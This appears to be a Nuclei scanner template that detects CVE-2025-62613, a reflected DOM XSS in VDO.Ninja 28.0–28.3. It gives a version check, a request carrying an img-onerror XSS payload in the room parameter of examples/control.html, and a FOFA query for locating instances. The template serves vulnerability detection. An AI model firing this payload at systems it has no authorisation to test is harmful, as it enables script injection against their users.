id: CVE-2025-62613

info:
  name: VDO.Ninja - DOM-Based Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    VDO.Ninja 28.0 to 28.3 contains a reflected XSS caused by improper sanitization of the room parameter in examples/control.html, letting remote attackers execute scripts, exploit requires crafted URL.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially stealing data or performing actions on their behalf.
  remediation: |
    Update to version 28.4 or later.
  reference:
    - https://github.com/steveseguin/vdo.ninja/security/advisories/GHSA-mp9c-cpch-x73c
    - https://github.com/steveseguin/vdo.ninja/commit/83c0ac753ad60c7a086daced3244688cabd4f6b8
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62613
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-62613
    cwe-id: CWE-79
    epss-score: 0.02073
    epss-percentile: 0.84187
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="vdo.ninja"
  tags: cve,cve2025,xss,vdo-ninja

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.html"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - 'contains_any(body, "www.vdo.ninja", "VDO.Ninja")'
          - 'contains(body, "session.version") && contains_any(body, "28.0", "28.1", "28.2", "28.3")'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/examples/control.html?room=%3Cimg%20src=x%20onerror=alert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, ".innerHTML", "roomID", "generateStreamID")'
          - '!contains(body, "encodeURIComponent")'
        condition: and
# digest: 4a0a00473045022100cc295dcc2a502b0d82c022c80966f8854844b4107925e195aece1b50507644b902200de09e1f1276f12eb5bf347ad235b76b7b1a95b5f21883c74f39db1949b6b7be:922c64590222798bb761d5b6d8e72950